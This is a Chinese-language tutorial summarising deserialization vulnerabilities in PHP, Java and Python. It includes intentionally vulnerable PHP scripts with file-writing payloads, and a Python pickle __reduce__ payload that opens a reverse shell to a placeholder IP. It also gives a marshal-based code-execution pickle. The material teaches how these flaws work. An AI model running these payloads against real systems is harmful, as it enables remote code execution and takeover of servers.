前言
本篇总结归纳反序列化漏洞
包括php、java、python三种语言
一、什么是序列化和反序列化
1、序列化和反序列化
序列化是将复杂的数据结构(如对象及其字段)转换为“更平坦”格式的过程
这种格式可以作为连续的字节流发送和接收
序列化数据使以下操作更简单:
- 将复杂数据写入进程间内存、文件或数据库
- 有效的实现多平台之间的通信、对象持久化存储
- 在应用程序的不同组件之间通过网络或者API调用发送复杂数据
反序列化是将字节流还原为原始对象的过程
2、各种语言
许多编程语言都提供对序列化的内在支持
- PHP将对象序列化为字符串格式
- Java将对象序列化为二进制格式
3、反序列化漏洞
序列化在内部没有漏洞
漏洞在反序列化过程
- 用户可控制的数据被网站脚本反序列化,这可能使攻击者能够操纵序列化对象,以便将有害数据传递到应用程序代码中
- 渗透攻击者可以用完全不同类的对象替换序列化对象,而且,网站可用的任何类的对象都将被反序列化和实例化,而不管预期的是哪个类
下面按各种语言归纳
二、PHP反序列化漏洞
1、PHP的序列化与反序列化
PHP通过serialize()
和unserialize()
来进行序列化和反序列化。
例子
考虑User具有以下属性的对象:
$user->name = "carlos";
$user->isLoggedIn = true;
序列化后,该对象可能看起来像这样:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
可以解释如下:
O:4:"User" 具有4个字符的类名称的对象 "User"
2 对象具有2个属性
s:4:"name" 第一个属性的键是4个字符的字符串 "name"
s:6:"carlos" 第一个属性的值是6个字符的字符串 "carlos"
s:10:"isLoggedIn" 第二个属性的键是10个字符的字符串 "isLoggedIn"
b:1 第二个属性的值是布尔值 true
2、魔术方法
魔术方法就是在某些条件下自动执行的函数
参考官方文档 一些魔术方法如下
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
最重要的几个
__wakeup() //unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作
__construct() //PHP5允行在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法
__destruct() //PHP5引入析构函数的概念,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString() //用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误
3、PHP的反序列化漏洞
PHP反序列化漏洞出现的原因:
- unserialize()传入参数可控
- 在某些魔术方法可用
- 有过滤或者过滤不完善
通过几个例子来感受下
例子1——wakeup
1.php
<?php
class Test{
var $test = "123";
function __wakeup(){
$fp = fopen("test.php", 'w');
fwrite($fp, $this -> test);
fclose($fp);
}
}
$test1 = $_GET['test'];
print_r($test1);
echo "<br />";
$seri = unserialize($test1);
require "test.php";
?>
- 代码中写了
__wakeup()
- 在反序列化之前一定会调用此方法,创建了一个test.php文件
- 把Test类中的test变量的值写进了test.php文件
- require进行文件包含
payload
1.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
注:CVE-2016-7124漏洞:序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行
例子参见unserialize3
例子2——construct
2.php
<?php
class Test1{
function __construct($test){
$fp = fopen("shell.php", "w");
fwrite($fp, $test);
fclose($fp);
}
}
class Test2{
var $test = "123";
function __wakeup(){
$obj = new Test1($this -> test);
}
}
$test = $_GET['test'];
unserialize($test);
require "shell.php";
?>
- contruct打开了一个shell.php
- wakeup调用了Test1类
- require文件包含
payload
2.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
例子3——destruct
3.php
class Test{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
本结束时就会调用destruct函数,同时会覆盖test变量
payload
3.php?test=O4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
三、Java反序列化漏洞
1、Java的序列化与反序列化
序列化用到了Java.io.ObjectOutputStream
类中的writeObject()
反序列化用到了Java.io.ObjectInputStream
类中的readObject()
实现Serializable和Externalizable接口的类的对象才能被序列化
- Externalizable接口继承自 Serializable接口
- 实现Externalizable接口的类完全由自身来控制序列化的行为
- 仅实现Serializable接口的类可以采用默认的序列化方式
对象序列化包括如下步骤:
- 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
- 通过对象输出流的writeObject()方法写对象
对象反序列化的步骤如下:
- 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
- 通过对象输入流的readObject()方法读取对象
示例
import java.io.*;
/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/
public class Test{
public static void main(String args[]) throws Exception {
//定义obj对象
String obj = "helloworld";
// 将序列化对象写入文件中
FileOutputStream fos = new FileOutputStream("lcx.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件中读取数据
FileInputStream fis = new FileInputStream("lcx.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}
实现功能
- 创建文件
- 把序列化数据写入文件
- 读取文件
- 反序列化数据
- 打印数据
2、Java的反序列化漏洞
同样关注反序列化操作函数并判断输入是否可控,如
- ObjectInputStream.readObject
- ObjectInputStream.readUnshared
- XMLDecoder.readObject
- Yaml.load
- XStream.fromXML
- ObjectMapper.readValue
- JSON.parseObject
- 还有一些第三方库提供的反序列化操作接口
例子1——readObject
功能如下
- Test.class中MyObject类有一个共有属性name,myObj实例化后将myObj.name赋值为了“hi”,然后序列化写入object
- MyObject类实现了Serializable接口,并重写了readObject()函数(从源输入流中读取字节序列,反序列化成对象),这里定制的行为是打开计算器
攻击过程如下
一些经典案例
有很多经典案例
如
- Apache Commons Collections序列化RCE漏洞
- Spring框架反序列化漏洞
- Fastjson反序列化漏洞
- Apache Shiro Java 反序列化漏洞
四、Python反序列化漏洞
1、Python的序列化与反序列化
Python中的序列化操作是通过pickle
和 cPickle
模块(操作是一样的)
以os.system('whoami')
为例
其pickle
序列化后为
cos
system
(S'whoami'
tR.
各部分
-
c
:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中 -
(
:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组 -
t
:从堆栈中弹出对象,直到一个(被弹出,并创建一个包含弹出对象(除了()的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中 -
S
:读取引号中的字符串直到换行符处,然后将它压入堆栈,即表示本行的内容一个字符串 -
R
:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中,即执行紧靠自己左边的一个括号对(即(
和t
之间)的内容 -
.
:结束pickle
(1)dump和load与文件操作结合
序列化:
pickle.dump(obj, file, protocol=None,)
- 必填参数
obj
表示将要封装的对象 - 必填参数
file
表示obj
要写入的文件对象 -
file
必须以二进制可写模式打开,即wb
反序列化
pickle.load(file,*,fix_imports=True, encoding="ASCII", errors="strict"
- 必填参数
file
必须以二进制可读模式打开,即rb
- 其他都为可选参数
示例:
import pickle
data = ['aa', 'bb', 'cc']
with open("./test.pkl", "wb") as f:
pickle.dump(data, f)
with open("./test.pkl", "rb") as ff:
d = pickle.load(ff)
print(d)
# ['aa', 'bb', 'cc']
(2)dumps与loads结合
不需要输出成文件,而是以字符串(py2)或字节流(py3)的形式进行转换
序列化:
pickle.dumps(obj)
反序列化
pickle.loads(bytes_object)
示例:
# python3
import pickle
data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)
# b'x80x03]qx00(Xx02x00x00x00aaqx01Xx02x00x00x00bbqx02Xx02x00x00x00ccqx03e.'
d = pickle.loads(p)
print(d)
# ['aa', 'bb', 'cc']
# python2
import pickle
data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print p
# (lp0
# S'aa'
# p1
# aS'bb'
# p2
# aS'cc'
# p3
# a.
d = pickle.loads(p)
print d
# ['aa', 'bb', 'cc']
2、Python的反序列化漏洞
python中的类有一个__reduce__
方法,类似与PHP中的__wakeup
- python2中只有内置类才有_
_reduce__
方法,即用class A(object)声明的类 - python3中已经默认都是内置类
例子1——反弹shell
import pickle
import os
class A(object):
def __reduce__(self):
shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(shell,))
a=A()
result = pickle.dumps(a)
pickle.loads(result)
监听8888端口即可
例子2——任意代码执行
import pickle
import marshal
import base64
def code():
import os
os.system('whoami')
code_pickle = base64.b64encode(marshal.dumps(code.func_code))
print code_pickle
payload
import marshal
import base64
def code():
pass # any code here
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))
例子3——ctf题
攻防世界 web高手进阶区 10分题Confusion2
结语
对反序列化漏洞做了个归纳小结
后续有新的学习再更新